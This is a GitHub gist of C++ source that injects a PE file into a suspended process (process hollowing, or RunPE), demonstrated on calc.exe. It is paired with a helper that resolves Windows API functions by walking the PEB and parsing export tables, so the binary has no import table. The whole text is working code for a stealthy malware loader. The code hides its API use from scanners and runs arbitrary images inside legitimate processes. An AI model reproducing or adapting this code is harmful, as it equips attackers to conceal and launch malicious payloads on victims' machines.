Last active
May 12, 2019 23:17
-
-
Save devdilson/a8be7113ed6c06e8face2e2fbbb798c7 to your computer and use it in GitHub Desktop.
Running portable executable from a file without import address table
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #pragma once | |
| #include <string> | |
| #include <windows.h> | |
| #include "winapi.h" | |
| #pragma once | |
| // Merge all sections into single. | |
| #pragma comment(linker, "/merge:.CRT=.text") | |
| #pragma comment(linker, "/merge:.data=.text") | |
| #pragma comment(linker, "/merge:.rdata=.text") | |
| // Makes all sections readable and writable. | |
| #pragma comment(linker, "/section:.text,EWR") | |
| //#define LOG(X) OutputDebugStringA(X) | |
| #define LOG(X) ; | |
| void *operator new[](size_t s) { | |
| auto _alloc = Win32::GetKernel32Function<decltype(&VirtualAlloc)>("VirtualAlloc"); | |
| return _alloc(NULL, s, MEM_COMMIT, PAGE_READWRITE); | |
| } | |
| void operator delete[](void *p) { | |
| auto _free = Win32::GetKernel32Function<decltype(&VirtualFree)>("VirtualFree"); | |
| _free(p, 0, MEM_RELEASE); | |
| } | |
| decltype(&GetModuleFileNameA) _GetModuleFileNameA; | |
| decltype(&CreateProcessA) _CreateProcessA; | |
| decltype(&GetThreadContext) _GetThreadContext; | |
| decltype(&SetThreadContext) _SetThreadContext; | |
| decltype(&ReadProcessMemory) _ReadProcessMemory; | |
| decltype(&VirtualAlloc) _VirtualAlloc; | |
| decltype(&VirtualAllocEx) _VirtualAllocEx; | |
| decltype(&WriteProcessMemory) _WriteProcessMemory; | |
| decltype(&ResumeThread) _ResumeThread; | |
| decltype(&memset) _memset; | |
| decltype(&CloseHandle) _CloseHandle; | |
| decltype(&CreateFileA) _CreateFile; | |
| decltype(&GetFileSize) _GetFileSize; | |
| decltype(&ReadFile) _ReadFile; | |
| decltype(&GetModuleHandleA) _GetModuleHandle; | |
| decltype(&TerminateProcess) _TerminateProcess; | |
| decltype(&GetCurrentProcess) _GetCurrentProcess; | |
| void initApis() { | |
| _GetModuleFileNameA = Win32::GetKernel32Function<decltype(&GetModuleFileNameA)>("GetModuleFileNameA"); | |
| _CreateProcessA = Win32::GetKernel32Function<decltype(&CreateProcessA)>("CreateProcessA"); | |
| _GetThreadContext = Win32::GetKernel32Function<decltype(&GetThreadContext)>("GetThreadContext"); | |
| _SetThreadContext = Win32::GetKernel32Function<decltype(&SetThreadContext)>("SetThreadContext"); | |
| _ReadProcessMemory = Win32::GetKernel32Function<decltype(&ReadProcessMemory)>("ReadProcessMemory"); | |
| _VirtualAlloc = Win32::GetKernel32Function<decltype(&VirtualAlloc)>("VirtualAlloc"); | |
| _VirtualAllocEx = Win32::GetKernel32Function<decltype(&VirtualAllocEx)>("VirtualAllocEx"); | |
| _WriteProcessMemory = Win32::GetKernel32Function<decltype(&WriteProcessMemory)>("WriteProcessMemory"); | |
| _ResumeThread = Win32::GetKernel32Function<decltype(&ResumeThread)>("ResumeThread"); | |
| _memset = Win32::GetNtFunction<decltype(&memset)>("memset"); | |
| _CloseHandle = Win32::GetKernel32Function<decltype(&CloseHandle)>("CloseHandle"); | |
| _CreateFile = Win32::GetKernel32Function<decltype(&CreateFileA)>("CreateFileA"); | |
| _GetFileSize = Win32::GetKernel32Function<decltype(&GetFileSize)>("GetFileSize"); | |
| _ReadFile = Win32::GetKernel32Function<decltype(&ReadFile)>("ReadFile"); | |
| _GetModuleHandle = Win32::GetKernel32Function<decltype(&GetModuleHandleA)>("GetModuleHandleA"); | |
| _TerminateProcess = Win32::GetKernel32Function<decltype(&TerminateProcess)>("TerminateProcess"); | |
| _GetCurrentProcess = Win32::GetKernel32Function<decltype(&GetCurrentProcess)>("GetCurrentProcess"); | |
| } | |
| int RunPortableExecutable(void* Image, const char*path) { | |
| IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols | |
| IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols | |
| IMAGE_SECTION_HEADER* SectionHeader; | |
| PROCESS_INFORMATION PI; | |
| STARTUPINFOA SI; | |
| CONTEXT* CTX; | |
| DWORD* ImageBase; //Base address of the image | |
| void* pImageBase; // Pointer to the image base | |
| int count; | |
| char CurrentFilePath[1024]; | |
| DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable | |
| NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize | |
| _GetModuleFileNameA(_GetModuleHandle(NULL), CurrentFilePath, 1024); | |
| if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File. | |
| { | |
| _memset(&PI, 0, sizeof(PI)); // Null the memory | |
| _memset(&SI, 0, sizeof(SI)); // Null the memory | |
| if (_CreateProcessA(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) { | |
| // Allocate memory for the context. | |
| LOG("Creating process...\n"); | |
| CTX = LPCONTEXT(_VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); | |
| CTX->ContextFlags = CONTEXT_FULL; // Context is allocated | |
| if (_GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread | |
| { | |
| // Read instructions | |
| _ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0); | |
| pImageBase = _VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), | |
| NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); | |
| // Write the image to the process | |
| _WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL); | |
| for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) { | |
| SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40)); | |
| _WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), | |
| LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0); | |
| } | |
| _WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0); | |
| // Move address of entry point to the eax register | |
| CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; | |
| _SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context | |
| if (!_ResumeThread(PI.hThread)) { | |
| return 0; | |
| } | |
| return 0; | |
| } | |
| } | |
| } | |
| } | |
| HANDLE MapFileToMemory(LPCSTR filename) { | |
| LOG("MapFileToMemory...\n"); | |
| HANDLE hFile = _CreateFile(filename, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); | |
| if (hFile == INVALID_HANDLE_VALUE) { | |
| LOG("CreateFile returned INVALID_HANDLE_VALUE\n"); | |
| return 0; | |
| } | |
| LOG("File created...\n"); | |
| DWORD dwSize = _GetFileSize(hFile, NULL); | |
| void *buffer = _VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
| if (!buffer) { | |
| _CloseHandle(hFile); | |
| return 0; | |
| } | |
| DWORD dwRead; | |
| if (!_ReadFile(hFile, buffer, dwSize, &dwRead, NULL)) { | |
| return 0; | |
| } | |
| IMAGE_DOS_HEADER *dos_header = reinterpret_cast<IMAGE_DOS_HEADER*>(buffer); | |
| LOG("MapFileToMemory OK...\n"); | |
| return buffer; | |
| } | |
| void initialize() { | |
| HANDLE hHandle = MapFileToMemory("C:\\windows\\system32\\calc.exe"); | |
| RunPortableExecutable(hHandle, "C:\\windows\\system32\\calc.exe"); | |
| _TerminateProcess(_GetCurrentProcess(), 0); | |
| } | |
| int main() { | |
| initApis(); | |
| initialize(); | |
| ExitProcess(0); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <Windows.h> | |
| #include <string> | |
| namespace Win32 { | |
| extern void OutputDebug(const char *msg); | |
| DWORD* GetPEB() { | |
| __asm { | |
| push 0x30 | |
| pop esi | |
| mov eax, fs:[esi] | |
| ret | |
| } | |
| } | |
| DWORD GetKernel32Address() | |
| { | |
| DWORD dwAddr = 0; | |
| __asm | |
| { | |
| mov ebx, fs:[0x30] | |
| mov ebx, [ebx + 0x0C] | |
| mov ebx, [ebx + 0x14] | |
| mov ebx, [ebx] | |
| mov ebx, [ebx] | |
| mov ebx, [ebx + 0x10] | |
| mov dwAddr, ebx | |
| } | |
| return dwAddr; | |
| } | |
| LPVOID WINAPI GetFuncAddress(DWORD baseAddress, const char *func) { | |
| IMAGE_DOS_HEADER *dos_header = reinterpret_cast<IMAGE_DOS_HEADER*>(baseAddress); | |
| IMAGE_NT_HEADERS *nt_header = PIMAGE_NT_HEADERS(baseAddress + dos_header->e_lfanew); | |
| DWORD export_rva = nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; | |
| if (export_rva == 0) { | |
| return NULL; | |
| } | |
| PIMAGE_EXPORT_DIRECTORY img_export_dir = PIMAGE_EXPORT_DIRECTORY(baseAddress + export_rva); | |
| PDWORD Address = (PDWORD)((LPBYTE)baseAddress + img_export_dir->AddressOfFunctions); | |
| PDWORD Name = (PDWORD)((LPBYTE)baseAddress + img_export_dir->AddressOfNames); | |
| PWORD Ordinal = (PWORD)((LPBYTE)baseAddress + img_export_dir->AddressOfNameOrdinals); | |
| for (int i = 0; i < img_export_dir->AddressOfFunctions; i++) { | |
| if (!strcmp(func, (char*)baseAddress + Name[i])) { | |
| return (PVOID)((LPBYTE)baseAddress + Address[Ordinal[i]]); | |
| } | |
| } | |
| return NULL; | |
| } | |
| void _memcpy(void *dest, void *src, size_t n) { | |
| char *csrc = (char *)src; | |
| char *cdest = (char *)dest; | |
| for (int i = 0; i < n; i++) | |
| cdest[i] = csrc[i]; | |
| } | |
| template<class T> | |
| T GetKernel32Function(const char *name) { | |
| T ret = reinterpret_cast<T>(GetFuncAddress(GetKernel32Address(), name)); | |
| char *c = (char*)name; | |
| for (int i = 0; i < strlen(name); i++) { | |
| c[0] = 0; | |
| } | |
| return ret; | |
| } | |
| template<class T> | |
| T GetNtFunction(const char *name) { | |
| auto _LoadLibrary = Win32::GetKernel32Function<decltype(&LoadLibraryA)>("LoadLibraryA"); | |
| if (!_LoadLibrary) { | |
| return NULL; | |
| } | |
| HMODULE hModule = _LoadLibrary("ntdll.dll"); | |
| if (!_LoadLibrary) { | |
| return NULL; | |
| } | |
| auto _func = reinterpret_cast<T>(GetFuncAddress((DWORD)hModule, name)); | |
| if (!_func) { | |
| return NULL; | |
| } | |
| //OutputDebug("Loaded NT DLL with success"); | |
| return _func; | |
| } | |
| template<class T> | |
| T GetUser32Function(const char *name) { | |
| auto _LoadLibrary = Win32::GetKernel32Function<decltype(&LoadLibraryA)>("LoadLibraryA"); | |
| if (!_LoadLibrary) { | |
| return NULL; | |
| } | |
| HMODULE hModule = _LoadLibrary("User32.dll"); | |
| if (!_LoadLibrary) { | |
| return NULL; | |
| } | |
| auto _func = reinterpret_cast<T>(GetFuncAddress((DWORD)hModule, name)); | |
| if (!_func) { | |
| return NULL; | |
| } | |
| // OutputDebug("Loaded NT DLL with success"); | |
| return _func; | |
| } | |
| void OutputDebug(const char *msg) { | |
| auto _log = Win32::GetKernel32Function<decltype(&OutputDebugStringA)>("OutputDebugStringA"); | |
| _log(msg); | |
| _log("\n"); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment